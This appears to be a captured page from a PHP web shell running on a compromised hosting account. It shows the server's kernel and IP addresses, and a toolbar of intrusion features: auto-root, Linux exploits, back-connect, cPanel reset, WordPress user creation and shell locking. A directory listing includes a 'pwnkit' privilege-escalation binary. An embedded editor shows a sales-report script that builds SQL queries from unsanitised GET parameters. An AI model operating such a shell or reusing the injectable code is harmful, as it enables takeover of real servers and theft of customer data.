Linux server-604606.appsiete.com 3.10.0-1160.139.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Nov 3 13:30:41 UTC 2025 x86_64
Apache
: 162.240.172.200 | : 216.73.216.32
14 Domain
7.3.33
gujo45me
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
gujo45me /
public_html /
demo2 /
pdf /
[ HOME SHELL ]
Name
Size
Permission
Action
PDF417
[ DIR ]
drwxr-xr-x
fpdf
[ DIR ]
drwxr-xr-x
image
[ DIR ]
drwxr-xr-x
letras
[ DIR ]
drwxr-xr-x
phpexcel
[ DIR ]
drwxr-xr-x
phpmailer
[ DIR ]
drwxr-xr-x
phpqrcode
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
ComprobanteDeliveryCorreo.php
12.86
KB
-rw-r--r--
comprobante.pdf
124.92
KB
-rwxrwxrwx
comprobante_delivery.pdf
117.74
KB
-rwxrwxrwx
config.php
479
B
-rw-r--r--
enviaCorreo.php
24.32
KB
-rw-r--r--
enviaCorreoNota.php
22.84
KB
-rw-r--r--
imprimeA4.php
22.5
KB
-rw-r--r--
imprimeDeliveryA4.php
11.45
KB
-rw-r--r--
imprimeDeliveryTicket.php
10.35
KB
-rw-r--r--
imprimeGuia.php
16.88
KB
-rw-r--r--
imprimeGuiaTransportista.php
17.87
KB
-rw-r--r--
imprimeGuiaTransportista2.php
17.33
KB
-rw-r--r--
imprimeHistorialTicket.php
9.76
KB
-rw-r--r--
imprimeNotaA4.php
19.58
KB
-rw-r--r--
imprimeProformaA4.php
11.89
KB
-rw-r--r--
imprimeProformaTicket.php
11.57
KB
-rw-r--r--
imprimeReciboA4.php
11.63
KB
-rw-r--r--
imprimeReciboTicket.php
10.67
KB
-rw-r--r--
imprimeTicket.php
20.13
KB
-rw-r--r--
listaClientes.php
4.9
KB
-rw-r--r--
listaGuia.php
6.01
KB
-rw-r--r--
listaProductos.php
5.48
KB
-rw-r--r--
listaProveedores.php
4.74
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
reporteBajas.php
5.59
KB
-rw-r--r--
reporteCompras.php
5.96
KB
-rw-r--r--
reporteComprobantes.php
23.34
KB
-rw-r--r--
reporteContingencias.php
23.47
KB
-rw-r--r--
reporteDelivery.php
5.75
KB
-rw-r--r--
reporteDeudores.php
6.58
KB
-rw-r--r--
reporteEgresos.php
5.14
KB
-rw-r--r--
reporteGuias.php
8.05
KB
-rw-r--r--
reporteHistorialProducto.php
12.83
KB
-rw-r--r--
reporteKardex.php
10.14
KB
-rw-r--r--
reporteKardex_pedidos.php
10.16
KB
-rw-r--r--
reportePedidos.php
5.76
KB
-rw-r--r--
reporteProductoPersonal.php
7.22
KB
-rw-r--r--
reporteProductosComprados.php
7.79
KB
-rw-r--r--
reporteProductosPedidos.php
9.4
KB
-rw-r--r--
reporteProductosVencidos.php
8.07
KB
-rw-r--r--
reporteProductosVendidos.php
10.08
KB
-rw-r--r--
reporteProductosVendidosTodo.p...
9.06
KB
-rw-r--r--
reporteSire_ventas_excel.php
20.6
KB
-rw-r--r--
reporteSire_ventas_txt.php
10.32
KB
-rw-r--r--
reporteStock.php
7.43
KB
-rw-r--r--
reporteTipoImpuesto.php
5.93
KB
-rw-r--r--
reporteUsuarios.php
11.66
KB
-rw-r--r--
reporteUsuariosPedido.php
6.32
KB
-rw-r--r--
reporteVentas.php
6.32
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : reporteDelivery.php
<?php include("config.php"); require_once("phpexcel/PHPExcel.php"); if (PHP_SAPI == 'cli') die('Este archivo solo se puede ver desde un navegador web'); // Se crea el objeto PHPExcel $objPHPExcel = new PHPExcel(); $id_local = $_GET['id_local']; $fecha1 = $_GET['fecha1']; $fecha2 = $_GET['fecha2']; $conexion = new mysqli($db_host,$db_user,$db_pass,$db_name); if (mysqli_connect_errno()) { printf("La conexión con el servidor de base de datos falló: %s\n", mysqli_connect_error()); exit(); } if ($id_local == 0) { $consulta = 'SELECT * FROM delivery WHERE (created_at >= "'.$fecha1.' 00:00:00" AND created_at <= "'.$fecha2.' 23:59:59") AND estado= 1 ORDER BY id_delivery'; } else{ $consulta = 'SELECT * FROM delivery WHERE (created_at >= "'.$fecha1.' 00:00:00" AND created_at <= "'.$fecha2.' 23:59:59") AND estado= 1 AND id_local="'.$id_local.'" ORDER BY id_delivery'; } $resultado = $conexion->query($consulta); if($resultado->num_rows > 0 ){ // Propiedades del documento $objPHPExcel->getProperties()->setCreator("Seven") ->setLastModifiedBy("Seven") ->setTitle("Reporte Seven") ->setSubject("Reporte Seven") ->setDescription("Reporte Seven") ->setKeywords("office 2010 openxml php") ->setCategory("Archivo con resultado de reporte"); // Combino las celdas desde A1 hasta F1 $objPHPExcel->setActiveSheetIndex(0)->mergeCells('A1:J1'); $objPHPExcel->setActiveSheetIndex(0) ->setCellValue('A1', 'REPORTE DE PEDIDOS POR DELIVERY REALIZADOS ENTRE : '.$fecha1.' & '.$fecha2) ->setCellValue('A2', 'ITEM') ->setCellValue('B2', 'CLIENTE') ->setCellValue('C2', 'RUC / DNI') ->setCellValue('D2', 'DIRECCION') ->setCellValue('E2', 'TELEFONO') ->setCellValue('F2', 'CORREO ELECTRONICO') ->setCellValue('G2', 'NUMERO DE DELIVERY') ->setCellValue('H2', 'FECHA EMISION') ->setCellValue('I2', 'TOTAL S/') ->setCellValue('J2', 'TIPO DE PAGO') ->setCellValue('K2', 'ESTADO DEL ENVIO') ->setCellValue('L2', 'OBSERVACIONES'); // Fuente de la primera fila en negrita $boldArray = array('font' => array('bold' => true,),'alignment' => array('horizontal' => PHPExcel_Style_Alignment::HORIZONTAL_CENTER)); $objPHPExcel->getActiveSheet()->getStyle('A1:L2')->applyFromArray($boldArray); //Ancho de las columnas $objPHPExcel->getActiveSheet()->getColumnDimension('A')->setWidth(8); $objPHPExcel->getActiveSheet()->getColumnDimension('B')->setWidth(80); $objPHPExcel->getActiveSheet()->getColumnDimension('C')->setWidth(15); $objPHPExcel->getActiveSheet()->getColumnDimension('D')->setWidth(80); $objPHPExcel->getActiveSheet()->getColumnDimension('E')->setWidth(25); $objPHPExcel->getActiveSheet()->getColumnDimension('F')->setWidth(30); $objPHPExcel->getActiveSheet()->getColumnDimension('G')->setWidth(30); $objPHPExcel->getActiveSheet()->getColumnDimension('H')->setWidth(20); $objPHPExcel->getActiveSheet()->getColumnDimension('I')->setWidth(15); $objPHPExcel->getActiveSheet()->getColumnDimension('J')->setWidth(25); $objPHPExcel->getActiveSheet()->getColumnDimension('K')->setWidth(25); $objPHPExcel->getActiveSheet()->getColumnDimension('L')->setWidth(100); $i = 3; //Numero de fila donde se va a comenzar a rellenar $suma = 0; $j = 1; while ($fila = $resultado->fetch_array()) { $objPHPExcel->setActiveSheetIndex(0) ->setCellValue('A'.$i, $j) ->setCellValue('B'.$i, utf8_encode($fila['nombre'])) ->setCellValue('C'.$i, $fila['numero_documento']) ->setCellValue('D'.$i, utf8_encode($fila['direccion'])) ->setCellValue('E'.$i, $fila['telefono']) ->setCellValue('F'.$i, utf8_encode($fila['email'])) ->setCellValue('G'.$i, "PEDIDO N° ".$fila['id_delivery']) ->setCellValue('H'.$i, $fila['fecha_emision']) ->setCellValue('I'.$i, $fila['total']) ->setCellValue('J'.$i, $fila['metodo_pago']) ->setCellValue('K'.$i, utf8_encode($fila['estado_delivery'])) ->setCellValue('L'.$i, utf8_encode($fila['observacion'])); $i++; $j++; $suma = $suma+$fila['total']; } $objPHPExcel->setActiveSheetIndex(0)->setCellValue('H'.$i, "TOTAL"); $objPHPExcel->setActiveSheetIndex(0)->setCellValue('I'.$i, $suma); $objPHPExcel->getActiveSheet()->getStyle('H'.$i)->getFont()->setBold(true); $objPHPExcel->getActiveSheet()->getStyle('I'.$i)->getFont()->setBold(true); $objPHPExcel->getActiveSheet()->getStyle('I3:I'.$i)->getNumberFormat()->setFormatCode('0.00'); $i = $i-1; $H = "L".$i; $rango = "A2:$H"; $styleArray = array('font' => array( 'name' => 'Arial','size' => 10), 'borders'=>array('allborders'=>array('style'=> PHPExcel_Style_Border::BORDER_THIN,'color'=>array('argb' => 'FFF'))) ); $objPHPExcel->getActiveSheet()->getStyle($rango)->applyFromArray($styleArray); // Cambiar el nombre de hoja de cálculo $objPHPExcel->getActiveSheet()->setTitle('Reporte'); // Establecer índice de hoja activa a la primera hoja , por lo que Excel abre esto como la primera hoja $objPHPExcel->setActiveSheetIndex(0); // Se manda el archivo al navegador web, con el nombre que se indica, en formato 2007 header('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'); header('Content-Disposition: attachment;filename="Reporte_delivery.xlsx"'); header('Cache-Control: max-age=0'); $objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel2007'); $objWriter->save('php://output'); exit; } else{ print_r('No hay resultados para mostrar'); }
Close